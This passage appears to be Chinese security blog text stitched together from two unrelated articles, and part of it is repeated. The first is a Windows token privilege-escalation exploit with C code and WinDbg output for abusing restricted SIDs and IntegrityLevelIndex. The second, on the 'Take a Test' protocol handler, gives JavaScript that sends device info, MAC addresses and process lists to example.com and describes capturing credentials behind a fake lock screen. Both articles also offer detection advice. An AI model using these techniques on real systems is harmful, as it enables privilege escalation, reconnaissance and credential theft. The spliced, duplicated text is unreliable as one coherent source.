0x04 利用令牌、完整性级别以及未受保护的数组

要检查令牌的完整性级别,我们需要查看TOKEN结构中名为IntegrityLevelIndex的字段。我们可以将其进行转储,以查看其中包含的内容:

dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->IntegrityLevelIndex
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->IntegrityLevelIndex : 0xe [Type: unsigned long]

顾名思义,这个值本身不能给我们太多信息,因为它只是SID_AND_ATTRIBUTES结构数组中的一个索引,被UserAndGroups字段指向。通过查看SepLocateTokenIntegrity可以证实这一点,该方法由SepAdjustPrivileges调用,以确定要调整其特权的令牌的完整性级别。

2.png

这个数组有多个条目,具体的数量随进程的不同而变化。可以根据UserAndGroupCount字段查看具体的数量:

dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroupCount
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroupCount : 0xe [Type: unsigned long]
dx -g *((nt!_SID_AND_ATTRIBUTES(*)[0xe])((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroups)

3.png

顾名思义,SID_AND_ATTRIBUTES结构中包含一个安全描述符(SID)及其特定属性。这些属性取决于我们正在使用的数据类型,我们可以在这里找到这些属性的含义。结构的安全标识符部分会告诉我们这个令牌属于哪个用户和组。这个信息可以确定令牌的完整性级别,以及令牌可以在系统上进行的操作。例如,只有某些组可以访问特定进程和文件。在上一篇文章中我们也提到过,大多数GUID仅允许特定组进行注册。SID的歌是为S-1-X-…,比较易于识别。

我们可以改进WinDbg查询,从而以清晰的格式展示令牌所属的所有组:

dx –s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0xf])((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->UserAndGroups)
dx -g @$sidAndAttr.Select(s => new {Attributes = s->Attributes, Sid = Debugger.Utility.Control.ExecuteCommand("!sid " + ((__int64)(s->Sid)).ToDisplayString("x"))[0].Remove(0, 8)})

4.png

令牌指向的条目0xe是表中的最后一个条目,它是中等完整性级别的SID,这也就是我们无法启用调试特权的原因。但是,该系统的设计为我们提供了一种绕过完整性级别的方法。UserAndGroups字段指向数组,但是数组是在TOKEN结构之后立即分配的。这并不是在这一内存块中的最后一项工作。如果我们转储TOKEN结构,可以看到在UserAndGroups字段之后,还有另一个指向相同格式数组的指针,名为RestrictedSids。

[+0x098] UserAndGroups    : 0xffffad8914e1e4f0 [Type: _SID_AND_ATTRIBUTES *]    
[+0x0a0] RestrictedSids   : 0x0 [Type: _SID_AND_ATTRIBUTES *]

受限令牌是一种通过仅允许令牌访问其ACL允许访问SID的对象,来限制特定进程或线程所具有的访问权限的方法。例如,如果令牌有针对“Bob”的受限SID,那么使用此令牌的进程或线程只能在文件明确允许访问“Bob”的情况下访问文件。即使“Bob”是允许访问文件的组成员(例如Users或Everyone),除非文件事先知道是“Bob”尝试访问它并将SID添加到ACL,否则将拒绝访问。有时,在服务中会使用这一功能,限制只能访问其使用所必需的对象,减少潜在的攻击面。受限令牌还可以用于从令牌中删除不需要的默认特权。例如,BFR服务使用写入受限令牌,这意味着它对任何对象仅具有读取访问权限,但只能对显式允许其SID的对象获得写访问权限。

5.png

关于受限令牌,有两点比较重要的事情,可以帮助我们实现特权提升:

1、受限SID数组在UserAndGroups数组之后立即分配。

2、可以为任意SID创建受限令牌,包括该进程当前没有的令牌。

这两个事实表明,即使是一个较低或中等完整性级别的进程,也可以为较高完整性进程的SID创建一个受限令牌并模拟它。这会在UserAndGroups数组之后立即向RestrictedSids数组添加一个新的SID_AND_ATTRIBUTES条目,其方式可以看作是UserAndGroups数组的下一个条目。当前的IntegrityLevelIndex指向UserAndGroups数组中的最后一个条目,因此索引的增加会使其指向高完整性级别的新受限令牌。那么,我们能否获得一个任意增加漏洞呢?

6.png

我们来尝试一下。首先使用CreateWellKnownSid创建一个WinHighLabelSid,然后使用CreateRestrictedToken创建一个具有较高完整性级别SID的新受限令牌,然后进行模拟:

HANDLE tokenHandle;
HANDLE newTokenHandle;
HANDLE newTokenHandle2;
PSID pSid;
PSID_AND_ATTRIBUTES sidAndAttributes;
DWORD sidLength = 0;
BOOL bRes;
//
// Call CreateWellKnownSid once to check the needed size for the buffer
//
CreateWellKnownSid(WinHighLabelSid, NULL, NULL, &sidLength);
//
// Allocate a buffer and create a high IL SID
//
pSid = malloc(sidLength);
CreateWellKnownSid(WinHighLabelSid, NULL, pSid, &sidLength);
//
// Create a restricted token and impersonate it
//
sidAndAttributes = (PSID_AND_ATTRIBUTES)malloc(0x20);
sidAndAttributes->Sid = pSid;
sidAndAttributes->Attributes = 0;
bRes = OpenProcessToken(GetCurrentProcess(),
                        TOKEN_ALL_ACCESS,
                        &tokenHandle);
if (bRes == FALSE)
{
    printf("OpenProcessToken failed\n");
    return 0;
}
bRes = CreateRestrictedToken(tokenHandle,
                             WRITE_RESTRICTED,
                             0,
                             NULL,
                             0,
                             NULL,
                             1,
                             sidAndAttributes,
                             &newTokenHandle2);
if (bRes == FALSE)
{
    printf("CreateRestrictedToken failed\n");
    return 0;
}
bRes = ImpersonateLoggedOnUser(newTokenHandle2);
if (bRes == FALSE)
{
    printf("Impersonation failed\n");
    return 0;
}

接下来,我们看看线程令牌和其所在组。注意,我们正在模拟这个新令牌,因此需要检查线程的模拟令牌,因为我们的主进程令牌不会受到下述影响。

dx -s @$token = ((nt!_TOKEN*)(@$curthread.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))
dx new {GroupsCount = @$token->UserAndGroupCount, UserAndGroups = @$token->UserAndGroups, RestrictedCount = @$token->RestrictedSidCount, RestrictedSids = @$token->RestrictedSids, IntegrityLevelIndex = @$token->IntegrityLevelIndex}
new {GroupsCount = @$token->UserAndGroupCount, UserAndGroups = @$token->UserAndGroups, RestrictedCount = @$token->RestrictedSidCount, RestrictedSids = @$token->RestrictedSids, IntegrityLevelIndex = @$token->IntegrityLevelIndex}
GroupsCount      : 0xf [Type: unsigned long]
UserAndGroups    : 0xffffad890d5ffe00 [Type: _SID_AND_ATTRIBUTES *]
RestrictedCount  : 0x1 [Type: unsigned long]
RestrictedSids   : 0xffffad890d5ffef0 [Type: _SID_AND_ATTRIBUTES *]
IntegrityLevelIndex : 0xe [Type: unsigned long]

UserAndGroups仍然具有0xf条目,且此时我们的IntegrityLevelIndex仍然为0xe,与主令牌一致。不过现在,我们就拥有了一个受限SID。前面我提到过,由于内存布局,我们可以将这个受限SID视为UserAndGroups数组中的其他条目,我们可以对此进行测试。接下来,我们尝试使用与之前相同的方式转储数组,但这里假设它具有0x10条目:

dx -s @$sidAndAttr = *((nt!_SID_AND_ATTRIBUTES(*)[0x10])@$token->UserAndGroups)
dx -g @$sidAndAttr.Select(s => new {Attributes = s->Attributes, Sid = Debugger.Utility.Control.ExecuteCommand("!sid " + ((__int64)(s->Sid)).ToDisplayString("x"))[0].Remove(0, 8)})

7.png

结果证明是有效的!现在就有了0x10个有效条目,最后一个具有较高完整性级别的SID,就如同我们最开始希望的那样。

现在,我们就可以使用与之前相同的方式运行漏洞利用程序,只不过这里有两处调整:

1、所有更改都需要使用我们当前的线程令牌,而不再是主进程令牌。

2、我们需要触发两次漏洞利用,第一次增加Privileges.Present以设置SeDebugPrivilege特权,第二次增加IntegrityLevelIndex以指向0xf条目。

在这一过程中,没有验证IntegrityLevelIndex是否低于UserAndGroupCount。即使有这样的验证过程,我们也可以再次利用相同的漏洞来修改其级别。因此,当新的模拟令牌指向较高完整性级别的SID时,SepAdjustPrivileges就会认为它正在以较高完整性级别的进程运行,并允许我们启用所需的任意特权。在对漏洞利用进行修改后,我们可以再次尝试运行,并看到RtlAdjustPrivileges这次返回STATUS_SUCCESS。但是,我并不完全相信API,而是想要亲自检查一下:

8.png

或者,如果大家更喜欢使用WinDbg:

dx -s @$t0 = ((nt!_TOKEN*)(@$curthread.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))
1: kd> !token @$t0 -n
_TOKEN 0xffffad89168c4970
TS Session ID: 0x1
User: S-1-5-21-2929524040-830648464-3312184485-1000 (User:DESKTOP-3USPPSB\yshafir)
User Groups:
...
Privs:
19 0x000000013 SeShutdownPrivilege               Attributes -
20 0x000000014 SeDebugPrivilege                  Attributes - Enabled
23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege                 Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes -
34 0x000000022 SeTimeZonePrivilege               Attributes -
Authentication ID:         (0,2a084)
Impersonation Level:       Impersonation
TokenType:                 Impersonation
...
RestrictedSidCount: 1      
RestrictedSids: 0xffffad89168c4ef0
Restricted SIDs:
00 S-1-16-12288 (Label: Mandatory Label\High Mandatory Level)
Attributes - Mandatory Default Enabled
…

如同最开始的目标,现在我们的模拟令牌已经拥有了SeDebugPrivilege。现在,我们就可以执行之前的操作,在DcomLaunch服务下运行提升权限后的cmd.exe。您可能会想,既然我们已经拥有了高完整性级别的令牌,是否还需要沿用之前的方式呢?实际上,受限令牌并不是真正意义上的常规令牌,如果尝试使用受限令牌作为虚假的提升权限进程来运行,可能会遇到一些问题,并且对于扫描进程的防御工具来说,看上去也非常可疑。综合考虑,最好的方案还是创建一个可以以SYSTEM身份运行且没有太多可疑之处的新进程。

0x05 检测方式

我们使用的方法非常巧妙,这种方式不仅能欺骗系统,而且还很难被发现。对于防御者来说,最有效的判断方式是确认IntegrityLevelIndex是否属于UserAndGroups数组的范围。但即使是进行了这样的确认,攻击者也很容易再次触发漏洞并增加UserAndGroupCount。如果根据计数来计算UserAndGroup数组的结束地址,并将其与RestrictedSids数组的起始地址进行比较,看二者是否匹配,这种方法仍然是有效的。不过,这样的检测方式非常有针对性,需要针对这种不常见的攻击方式进行深入分析后才能得到这种方法。

还有第二种方法,就是搜索模拟受限令牌的线程。这是非常不常见的情况,在我进行搜索时,得到的唯一结果就是我的漏洞利用:

dx @$cursession.Processes.Where(p => p.Threads.Where(t => t.KernelObject.ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))->RestrictedSidCount != 0).Count() != 0)
@$cursession.Processes.Where(p => p.Threads.Where(t => t.KernelObject.ActiveImpersonationInfo != 0 && ((nt!_TOKEN*)(t.KernelObject.ClientSecurity.ImpersonationToken & ~0xf))->RestrictedSidCount != 0).Count() != 0)
[0x279c]         : exploit_part_2.exe [Switch To]

不过这是一个非常有针对性的搜索,只能够发现这种特殊的漏洞利用场景。并且,如果攻击者在启用特权后将线程恢复为原始令牌,这种检测方法就失效了。作为攻击者来说,这无疑是一个好习惯,不要让漏洞利用产生的“可疑”属性保持太长时间,从而就可以尽可能地规避被检测到的风险。与此同时,我在上一篇文章中提到的检测方式仍然适用于这里的场景,因为我们利用的漏洞相同、触发方式相同、仍然注册了一个新的ETW提供程序并且其他人都没有使用它、仍然留下了一个占用的位置且无法清空。因此,如果我们足够了解漏洞利用的过程,就有足够多的条件可以实现检测。

当然,在这里还有一点不同以往,就是中等完整性级别的进程会突然抢占SeDebugPrivilege,打开DcomLaunch的句柄,并创建一个新的父级提升权限的进程。这样的特征可能会成为EDR产品的一些检测指标。

0x06 总结

这篇文章描述了一个假设的场景,在这样的场景中,我们不能再简单地在进程令牌中增加Privileges.Enabled。我们目前在日常中还不需要使用这些独特的技巧,但是这些技巧是非常容易找到和利用的,就如同DIY CTF一样,也许这些技巧某一天会在另一个场景中有所帮助。这些技巧清晰地表明,令牌中包括许多值得关注的字段,可以以各种方式利用。与此同时,我们需要对一些内部原理知识有更深入的了解。

由于令牌非常容易受到攻击,并且不会经常更改,所以作为防御措施,可以考虑将其转移到安全池之中。

上篇文章和这篇文章中,我最终获得了SeDebugPrivilege,并使用了一些技巧来创建一个提升权限后的进程。在后续的文章中,我将会介绍一些其他特权,这些特权在漏洞利用的过程中经常会被忽略,并且可以以出人意料的方式来利用。

0x00 概述

当我在Windows中寻找新攻击面的过程中,我经常会使用默认的文件处理程序和LOLBins。其中的默认协议处理程序引起了我的注意,当我在Windows 10进入到“按照协议选择默认应用程序”界面时,发现了此前没有看到过的新功能,名为“Take a Test”。

我迅速搜索了有关于这个处理程序的相关资料,但没有找到太多的研究成果。我发现,Adam在2018年发表的Windows 10 URL Schemes列表中就已经包含了这一处理程序,因此可以证明它已经存在了一段时间,但除此之外没有找到任何信息。

我最终还是找到了关于“Take a Test”的一些参考文档,具体如下:

https://docs.microsoft.com/en-us/education/windows/take-tests-in-windows-10

https://docs.microsoft.com/en-us/education/windows/take-a-test-app-technical

https://github.com/SmarterApp/SB_BIRT/blob/master/irp/doc/req/SecureBrowserAPIspecification.md

根据上述Microsoft文档,“Take a Test”的用途是:

“许多学校会使用在线测试来进行形成性评估和总结性评估。在此过程中,应保证学生使用安全的浏览器,以防止其在测试过程中使用其他计算机或互联网资源。”

这个协议处理程序为共享链接提供了一种简便的方法,可以在Kiosk类型的环境中安全地启动浏览器,从而让学生参加线上组织的考试。该浏览器不仅可以防止注意力不集中,并且还提供了一些功能,可以对用户进行限制,同时为考试组织者提供一些态势感知的功能,以防止作弊。

Microsoft的“Take a Test”实现在很大程度上都符合上述通用的“安全浏览器”规范。听起来非常合理,但是需要注意的是,这个协议处理程序会随Windows 10的所有版本一起提供,包括可能不会使用到该功能的版本系统。接下来,让我们进一步分析其工作原理。

0x01 协议处理程序

“Take a Test”的URL可以按照以下方式来构造,并且可以通过任意方式共享:

ms-edu-secureassessment:https://example.com/#enforcelockdown

Microsoft还提供了以下的Web应用程序,以帮助创建链接:

https://takeatest.blob.core.windows.net/takeatest-link-generator/testpage.html

下面是一个示例:

ms-edu-secureassessment:https://www.youtube.com/watch?v=dQw4w9WgXcQ#enforcelockdown

要退出“Take a Test”应用程序,需要使用Ctrl + Alt + Delete。

协议处理程序启动:

C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe

0x02 警告

在继续进行操作之前,需要先分析一下在单击上述链接时弹出的警告消息,我确信大家都没有单击该链接。

您信任example.com吗?该站点希望控制您的计算机。

这一提示可能会被攻击者利用,最终导致的结果就是用户会忽略警告,并困在全屏播放的视频界面中。

如果接受了警告提示,则“Take a Test”安全浏览器具有以下特性:

1、在锁定屏幕上方全屏运行;

2、需要使用Ctrl + Alt + Delete以退出;

3、其中包含一些安全浏览器API,可以帮助考试组织者发现作弊者。

0x03 终端枚举

在安全浏览器实现中,公开了JavaScript API,以允许考试组织者检查考生的状态。

SecureBrowser.security.getDeviceInfo

SecureBrowser.security.getMACAddress

SecureBrowser.security.examineProcessList

SecureBrowser.security.isRemoteSession

SecureBrowser.security.isVMSession

为了研究潜在的网络钓鱼攻击场景,我开始尝试研究其中的一些方法。我使用有效的TLS部署了标准的Web服务器,并开始尝试一些值得关注的方法。

例如,我们可以使用以下示例,使用getDeviceInfo的输出结果发送GET请求:

const deviceInfo = function(info){
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://example.com/?getDeviceInfo?info=' + info);
    xhr.send();
}
SecureBrowser.security.getDeviceInfo(deviceInfo);

在测试虚拟机中,返回结果如下:

{"manufacturer":"Microsoft Corporation","SWVer":"10.0.19042.804"}
In a similar light we invoke getMacAddress:
 
const getMacAddress = function(mac){
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://example.com/?getMacAddress=' + mac);
    xhr.send();
}
SecureBrowser.security.getMACAddress(getMacAddress);

我们还可以获取主NIC的完整MAC地址:

GET /?getMacAddress=00155D014310 HTTP/1.1

接下来,我们分析examineProcessList,就如同Microsoft描述的那样:

“获取用户所使用的客户端计算机上运行的所有进程列表。考试应用程序将调用它来检查列表,并将其与考试期间被视为黑名单的进程列表进行比较。在考试开始时和进行期间,应该定期进行这一调用。如果发现了黑名单进程,则应停止考试以确保公平性。”

因此,它不会返回完整的进程列表,但事实证明我们可以提供大量的潜在进程,并且它能够返回正在运行的进程。在检查进程的时候,我没有发现这里有任何限制。不过,这个功能仅限于以当前用户身份运行的进程,所以不太适用于检查运行了哪些安全产品,因为这些安全产品通常都是以SYSTEM身份运行的。

这个功能确实有能力枚举我们正在使用的软件,攻击者利用这些信息即可定位目标,并在获取到访问权限后准备Payload或漏洞利用。此外,这个功能可以帮助攻击者将Payload准确发送到特定终端,同时有助于绕过那些比较麻烦的沙箱。

一个简单的实现如下所示:

const badProcesses = function (foundProcesses) {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/?examineProcessList=' + foundProcesses);
xhr.send();
}
SecureBrowser.security.examineProcessList(['onedrive.exe','vpnui.exe', 'notepad.exe'], badProcesses);

除了这些API之外,还有一些检查用于确认是否在虚拟机或远程会话中运行,另外的一些检查可以限制终端在考试期间仅能够使用所需的功能,以及执行清空剪贴板的操作。

0x04 侦查应用

我使用Python、Flask和jQuery组合编写了概念证明。

视频:https://vimeo.com/521312160

从视频中可以看出,我们的PoC展示了收集到的用户信息以及服务端记录的所有数据。不过,这些全部是HTML、CSS和JavaScript,因此如果要修改外观和体验非常简单。

大家可以从GitHub的ActiveBreach repo中获取此PoC以进行尝试:

https://github.com/mdsecactivebreach/TakeATest

0x05 捕获凭据

在我的研究过程中,我想到一个问题,这个“Take a Test”应用程序始终在锁定屏幕上方全屏运行,并且需要使用某个组合键才能退出,这样的特性非常值得研究,并且可能会遇到针对凭据的网络钓鱼攻击。

我想到了一个快速的原型来模拟锁屏,以证明这一观点:

在后台,我执行了上面所述的所有枚举,并使用AJAX实时发送了用户的击键。我们同样可以尝试将其与Evilginx之类的工具结合使用,以传递到合法的登录终端。

0x06 总结

Windows 10中默认的ms-edu-secureassessment://协议处理程序非常值得关注。在单击精心构造的URL时会弹出警告,但除此之外,还存在一些有趣的功能,攻击者可以在未攻陷系统的情况下仅通过JavaScript就能使用这些功能。从侦查和定位目标的角度来看,这个功能是非常有帮助的。如上所述,还可以利用这一功能来实现其他用途,特别是利用它位于锁定屏幕上方的独特位置,例如可以将其用于凭据捕获。

0x07 检测与防范

要阻止“Take a Test”功能,我们可以按照以下步骤操作:

1、检测和阻止正在运行的C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe实例。

2、取消设置默认协议处理程序`ms-edu-secureassessment://`。

以下是安全评估浏览器AppX Package:

Name              : Microsoft.Windows.SecureAssessmentBrowser
Publisher         : CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Architecture      : Neutral
ResourceId        : neutral
Version           : 10.0.19041.423
PackageFullName   : Microsoft.Windows.SecureAssessmentBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy
InstallLocation   : C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
IsFramework       : False
PackageFamilyName : Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
PublisherId       : cw5n1h2txyewy
IsResourcePackage : False
IsBundle          : False
IsDevelopmentMode : False
NonRemovable      : True
IsPartiallyStaged : False
SignatureKind     : System
Status            : Ok

我尝试按照以下步骤删除,但出现了错误提示“此应用程序是Windows的一部分,无法根据用户需要卸载”。

PS C:\Windows\system32> Remove-AppxPackage -Package "Microsoft.Windows.SecureAssessmentBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy"
Remove-AppxPackage : Deployment failed with HRESULT: 0x80073CFA, Removal failed. Please contact your software vendor. (Exception from HRESULT: 0x80073CFA)
error 0x80070032: AppX Deployment Remove operation on package Microsoft.Windows.SecureAssessmentBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy from: C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy failed. This app is part of Windows and cannot be uninstalled on a per-user basis. An administrator can attempt to remove the
app from the computer using Turn Windows Features on or off. However, it may not be possible to uninstall the app.
NOTE: For additional information, look for [ActivityId] cfb26e27-133a-0006-b879-b4cf3a13d701 in the Event Log or use the command line Get-AppPackageLog -ActivityID cfb26e27-133a-0006-b879-b4cf3a13d701
At line:1 char:1
+ Remove-AppxPackage -Package "Microsoft.Windows.SecureAssessmentBrowse ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (Microsoft.Windo...l_cw5n1h2txyewy:String) [Remove-AppxPackage], IOException
    + FullyQualifiedErrorId : DeploymentError,Microsoft.Windows.Appx.PackageManager.Commands.RemoveAppxPackageCommand

不过,可能还有一种解决方法,那就是将其直接删除。我们假设它没有任何其他有效的用途。

0x08 后续工作

在这些组件中可能还存在其他攻击面,包括:

SecureAssessmentBrowser.exe - 安全浏览器实现本身

SecureAssessment_JSBridge.dll 和 SecureAssessment_JSBridge.winmd - JavaScript Bridge实现

不过,与其他Windows组件一样,对它们进行仔细检查的可能性似乎也比较小。

这篇文章由David Middlehurst撰写。

0x00 概述

当我在Windows中寻找新攻击面的过程中,我经常会使用默认的文件处理程序和LOLBins。其中的默认协议处理程序引起了我的注意,当我在Windows 10进入到“按照协议选择默认应用程序”界面时,发现了此前没有看到过的新功能,名为“Take a Test”。

我迅速搜索了有关于这个处理程序的相关资料,但没有找到太多的研究成果。我发现,Adam在2018年发表的Windows 10 URL Schemes列表中就已经包含了这一处理程序,因此可以证明它已经存在了一段时间,但除此之外没有找到任何信息。

我最终还是找到了关于“Take a Test”的一些参考文档,具体如下:

https://docs.microsoft.com/en-us/education/windows/take-tests-in-windows-10

https://docs.microsoft.com/en-us/education/windows/take-a-test-app-technical

https://github.com/SmarterApp/SB_BIRT/blob/master/irp/doc/req/SecureBrowserAPIspecification.md

根据上述Microsoft文档,“Take a Test”的用途是:

“许多学校会使用在线测试来进行形成性评估和总结性评估。在此过程中,应保证学生使用安全的浏览器,以防止其在测试过程中使用其他计算机或互联网资源。”

这个协议处理程序为共享链接提供了一种简便的方法,可以在Kiosk类型的环境中安全地启动浏览器,从而让学生参加线上组织的考试。该浏览器不仅可以防止注意力不集中,并且还提供了一些功能,可以对用户进行限制,同时为考试组织者提供一些态势感知的功能,以防止作弊。

Microsoft的“Take a Test”实现在很大程度上都符合上述通用的“安全浏览器”规范。听起来非常合理,但是需要注意的是,这个协议处理程序会随Windows 10的所有版本一起提供,包括可能不会使用到该功能的版本系统。接下来,让我们进一步分析其工作原理。

0x01 协议处理程序

“Take a Test”的URL可以按照以下方式来构造,并且可以通过任意方式共享:

ms-edu-secureassessment:https://example.com/#enforcelockdown

Microsoft还提供了以下的Web应用程序,以帮助创建链接:

https://takeatest.blob.core.windows.net/takeatest-link-generator/testpage.html

下面是一个示例:

ms-edu-secureassessment:https://www.youtube.com/watch?v=dQw4w9WgXcQ#enforcelockdown

要退出“Take a Test”应用程序,需要使用Ctrl + Alt + Delete。

协议处理程序启动:

C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe

0x02 警告

在继续进行操作之前,需要先分析一下在单击上述链接时弹出的警告消息,我确信大家都没有单击该链接。

您信任example.com吗?该站点希望控制您的计算机。

这一提示可能会被攻击者利用,最终导致的结果就是用户会忽略警告,并困在全屏播放的视频界面中。

如果接受了警告提示,则“Take a Test”安全浏览器具有以下特性:

1、在锁定屏幕上方全屏运行;

2、需要使用Ctrl + Alt + Delete以退出;

3、其中包含一些安全浏览器API,可以帮助考试组织者发现作弊者。

0x03 终端枚举

在安全浏览器实现中,公开了JavaScript API,以允许考试组织者检查考生的状态。

SecureBrowser.security.getDeviceInfo

SecureBrowser.security.getMACAddress

SecureBrowser.security.examineProcessList

SecureBrowser.security.isRemoteSession

SecureBrowser.security.isVMSession

为了研究潜在的网络钓鱼攻击场景,我开始尝试研究其中的一些方法。我使用有效的TLS部署了标准的Web服务器,并开始尝试一些值得关注的方法。

例如,我们可以使用以下示例,使用getDeviceInfo的输出结果发送GET请求:

const deviceInfo = function(info){
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://example.com/?getDeviceInfo?info=' + info);
    xhr.send();
}
SecureBrowser.security.getDeviceInfo(deviceInfo);

在测试虚拟机中,返回结果如下:

{"manufacturer":"Microsoft Corporation","SWVer":"10.0.19042.804"}
In a similar light we invoke getMacAddress:
 
const getMacAddress = function(mac){
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://example.com/?getMacAddress=' + mac);
    xhr.send();
}
SecureBrowser.security.getMACAddress(getMacAddress);

我们还可以获取主NIC的完整MAC地址:

GET /?getMacAddress=00155D014310 HTTP/1.1

接下来,我们分析examineProcessList,就如同Microsoft描述的那样:

“获取用户所使用的客户端计算机上运行的所有进程列表。考试应用程序将调用它来检查列表,并将其与考试期间被视为黑名单的进程列表进行比较。在考试开始时和进行期间,应该定期进行这一调用。如果发现了黑名单进程,则应停止考试以确保公平性。”

因此,它不会返回完整的进程列表,但事实证明我们可以提供大量的潜在进程,并且它能够返回正在运行的进程。在检查进程的时候,我没有发现这里有任何限制。不过,这个功能仅限于以当前用户身份运行的进程,所以不太适用于检查运行了哪些安全产品,因为这些安全产品通常都是以SYSTEM身份运行的。

这个功能确实有能力枚举我们正在使用的软件,攻击者利用这些信息即可定位目标,并在获取到访问权限后准备Payload或漏洞利用。此外,这个功能可以帮助攻击者将Payload准确发送到特定终端,同时有助于绕过那些比较麻烦的沙箱。

一个简单的实现如下所示:

const badProcesses = function (foundProcesses) {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/?examineProcessList=' + foundProcesses);
xhr.send();
}
SecureBrowser.security.examineProcessList(['onedrive.exe','vpnui.exe', 'notepad.exe'], badProcesses);

除了这些API之外,还有一些检查用于确认是否在虚拟机或远程会话中运行,另外的一些检查可以限制终端在考试期间仅能够使用所需的功能,以及执行清空剪贴板的操作。

0x04 侦查应用

我使用Python、Flask和jQuery组合编写了概念证明。

视频:https://vimeo.com/521312160

从视频中可以看出,我们的PoC展示了收集到的用户信息以及服务端记录的所有数据。不过,这些全部是HTML、CSS和JavaScript,因此如果要修改外观和体验非常简单。

大家可以从GitHub的ActiveBreach repo中获取此PoC以进行尝试:

https://github.com/mdsecactivebreach/TakeATest

0x05 捕获凭据

在我的研究过程中,我想到一个问题,这个“Take a Test”应用程序始终在锁定屏幕上方全屏运行,并且需要使用某个组合键才能退出,这样的特性非常值得研究,并且可能会遇到针对凭据的网络钓鱼攻击。

我想到了一个快速的原型来模拟锁屏,以证明这一观点:

在后台,我执行了上面所述的所有枚举,并使用AJAX实时发送了用户的击键。我们同样可以尝试将其与Evilginx之类的工具结合使用,以传递到合法的登录终端。

0x06 总结

Windows 10中默认的ms-edu-secureassessment://协议处理程序非常值得关注。在单击精心构造的URL时会弹出警告,但除此之外,还存在一些有趣的功能,攻击者可以在未攻陷系统的情况下仅通过JavaScript就能使用这些功能。从侦查和定位目标的角度来看,这个功能是非常有帮助的。如上所述,还可以利用这一功能来实现其他用途,特别是利用它位于锁定屏幕上方的独特位置,例如可以将其用于凭据捕获。

0x07 检测与防范

要阻止“Take a Test”功能,我们可以按照以下步骤操作:

1、检测和阻止正在运行的C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\SecureAssessmentBrowser.exe实例。

2、取消设置默认协议处理程序`ms-edu-secureassessment://`。

以下是安全评估浏览器AppX Package:

Name              : Microsoft.Windows.SecureAssessmentBrowser
Publisher         : CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Architecture      : Neutral
ResourceId        : neutral
Version           : 10.0.19041.423
PackageFullName   : Microsoft.Windows.SecureAssessmentBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy
InstallLocation   : C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
IsFramework       : False
PackageFamilyName : Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
PublisherId       : cw5n1h2txyewy
IsResourcePackage : False
IsBundle          : False
IsDevelopmentMode : False
NonRemovable      : True
IsPartiallyStaged : False
SignatureKind     : System
Status            : Ok

我尝试按照以下步骤删除,但出现了错误提示“此应用程序是Windows的一部分,无法根据用户需要卸载”。

PS C:\Windows\system32> Remove-AppxPackage -Package "Microsoft.Windows.SecureAssessmentBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy"
Remove-AppxPackage : Deployment failed with HRESULT: 0x80073CFA, Removal failed. Please contact your software vendor. (Exception from HRESULT: 0x80073CFA)
error 0x80070032: AppX Deployment Remove operation on package Microsoft.Windows.SecureAssessmentBrowser_10.0.19041.423_neutral_neutral_cw5n1h2txyewy from: C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy failed. This app is part of Windows and cannot be uninstalled on a per-user basis. An administrator can attempt to remove the
app from the computer using Turn Windows Features on or off. However, it may not be possible to uninstall the app.
NOTE: For additional information, look for [ActivityId] cfb26e27-133a-0006-b879-b4cf3a13d701 in the Event Log or use the command line Get-AppPackageLog -ActivityID cfb26e27-133a-0006-b879-b4cf3a13d701
At line:1 char:1
+ Remove-AppxPackage -Package "Microsoft.Windows.SecureAssessmentBrowse ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (Microsoft.Windo...l_cw5n1h2txyewy:String) [Remove-AppxPackage], IOException
    + FullyQualifiedErrorId : DeploymentError,Microsoft.Windows.Appx.PackageManager.Commands.RemoveAppxPackageCommand

